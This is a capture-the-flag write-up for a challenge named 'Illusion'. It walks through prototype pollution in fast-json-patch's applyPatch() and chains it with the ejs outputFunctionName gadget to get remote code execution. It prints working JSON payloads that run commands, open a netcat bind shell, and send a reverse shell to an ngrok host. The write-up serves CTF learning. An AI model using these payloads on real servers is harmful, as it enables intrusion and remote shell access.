Illusion
JavaScript Prototype Injection
Laura just found a website used for monitoring security mechanisms on Rhiza's state and is planning to hack into it to forge the status of these security services. After that she will deactivate these security resources without alerting government agents. Your goal is to get into the server to change the monitoring service behaviour.
illusion_06437ee23c69c151e8e416c02b82d5b20e145c150c0109960b3b85f8c0f8a210.tar.gz
13KB
Binary
Illusion
First, let's analyse the source code.
Here, we see that for testing locally, we should use
admin:admin
as the basic authentication credentials.app.use(basicAuth({
users: { "admin": process.env.SECRET || "admin" },
challenge: true
}))
We come across an interesting functionality of the app. When POST-ing JSON to the
/change_status
endpoint, the fast-json-patch package is used to modify the services
object.const jsonpatch = require('fast-json-patch')
...
// API
app.post("/change_status", (req, res) => {
let patch = []
Object.entries(req.body).forEach(([service, status]) => {
if (service === "status"){
res.status(400).end("Cannot change all services status")
return
}
patch.push({
"op": "replace",
"path": "/" + service,
"value": status
})
});
jsonpatch.applyPatch(services, patch)
console.log(Object.values(services))
if ("offline" in Object.values(services)){
services.status = "offline"
}
res.json(services)
})
A quick search led me to this GitHub pull request: https://github.com/Starcounter-Jack/JSON-Patch/pull/262. A prototype pollution vulnerability exists in
applyPatch()
.It appears that the issue is not yet fixed, even in the latest version!
For instance, if we POST the following data:
{
"cameras": "offline",
"doors": "offline",
"turrets": "offline",
"dome": "offline",
"constructor/prototype/offline": "test",
}
Every object will now have the
offline
attribute. The following if statment will then evaluate to True, since the Array
object will have an offline
attribute as well.if ("offline" in Object.values(services)){
services.status = "offline"
}
But we can't really do much with this... yet. When there is a prototype injection vulnerability in server-side code, it can usually lead to serious exploits like RCE.
In this case, we can achieve RCE through exploiting the
ejs
module, by leveraging the constructor/prototype/outputFunctionName
option in the ejs
rendering function. This is quite a well known exploit: https://portswigger.net/daily-swig/prototype-pollution-bug-in-popular-node-js-library-leaves-web-apps-open-to-dos-remote-shell-attacksWe can see that
ejs
is used. It is a very popular library for templating in web applications.const ejs = require('ejs')
...
app.get("/", async (req, res) => {
const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
res.end(html)
})
Testing locally as a normal user first (the actual challenge uses a guest user), we can POST the following data to test that RCE exists:
{
"cameras": "offline",
"doors": "offline",
"turrets": "offline",
"dome": "offline",
"constructor/prototype/offline": "test",
"constructor/prototype/outputFunctionName": "x;console.log(1);process.mainModule.require('child_process').exec('whoami >> src/static/style.css');x"
}
This executes
whoami >> src/static/style.css
. We can see that in the style.css
, the output is indeed reflected.
Then I ran the docker image. Note that we are provided with a
readflag
binary. We can run this binary and obtain the flag from the output.Since we're a guest user, we don't have permissions to write the output to a readable file. We can try to use a bind shell instead. The following will execute
nc -lvp 4444 -e /bin/sh
, opening up a bind shell on port 4444.{
"cameras": "offline",
"doors": "offline",
"turrets": "offline",
"dome": "offline",
"constructor/prototype/outputFunctionName": "x;console.log(1);process.mainModule.require('child_process').exec('nc -lvp 4444 -e /bin/sh');x"
}
When we connect to the bind shell, we can then run the
readflag
binary.
Time to connect to the real server!

The bind shell didn't work, so we had to use a reverse shell instead.
First, I set up a
ngrok
TCP forwarder. Then, in our RCE payload, we can use the public endpoint given by ngrok
to catch our reverse shell. To trigger a reverse shell, we would need to modify our RCE:{
"cameras": "offline",
"doors": "offline",
"turrets": "offline",
"dome": "offline",
"constructor/prototype/outputFunctionName": "x;console.log(1);process.mainModule.require('child_process').exec('nc 8.tcp.ngrok.io 17160 -e /bin/sh');x"
}
This should forward the reverse shell to our local machine, and we get the flag!

Last modified 8mo ago